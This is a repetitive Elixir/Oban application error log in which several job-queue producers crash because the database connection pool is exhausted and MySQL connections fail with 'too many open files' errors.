State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:32:51.247012Z], limit: 5, uuid: "aea407d0-0ee7-4416-b18b-36974064ad1c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.247018Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22242>, refresh_timer: #Reference<0.2525715032.1099431938.22203>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:32:51.246703Z], limit: 3, uuid: "a0fa00a6-1007-4ff9-ac3c-0c2f43ff4438", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.246709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22194>, refresh_timer: #Reference<0.2525715032.1099431938.22184>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:32:51.250240Z], limit: 50, uuid: "895663ec-d193-4c9c-86bb-0894e78f4311", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.250246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22244>, refresh_timer: #Reference<0.2525715032.1068498948.14274>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:32:51.249430Z], limit: 10, uuid: "33543cf8-668b-48a2-be17-edf52efb517f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.249436Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22241>, refresh_timer: #Reference<0.2525715032.1099431938.22216>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:04.404000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:09.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:11.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:11.415000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:13.879000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:14.464000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:33:03.239615Z], limit: 3, uuid: "3a0f146e-736d-4462-b5ca-f82f7f56d8ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.239620Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.252217>, refresh_timer: #Reference<0.2525715032.1121189889.121257>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:33:03.239246Z], limit: 20, uuid: "8dced0e1-ee5c-4998-af8a-4b9243273dc9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.239252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22465>, refresh_timer: #Reference<0.2525715032.1077411843.252191>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:33:03.238412Z], limit: 5, uuid: "57fc2db9-c55f-403a-ae56-ac0dbd8de940", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.238423Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22466>, refresh_timer: #Reference<0.2525715032.1077411843.252190>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:33:03.241151Z], limit: 10, uuid: "91a82243-0fe0-4120-9a12-da0ceac1a110", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.241157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22467>, refresh_timer: #Reference<0.2525715032.1121189889.121275>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:33:03.239584Z], limit: 5, uuid: "039d7680-c1f7-4c80-b435-198975429d1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:33:03.239591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.121280>, refresh_timer: #Reference<0.2525715032.1121189889.121253>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
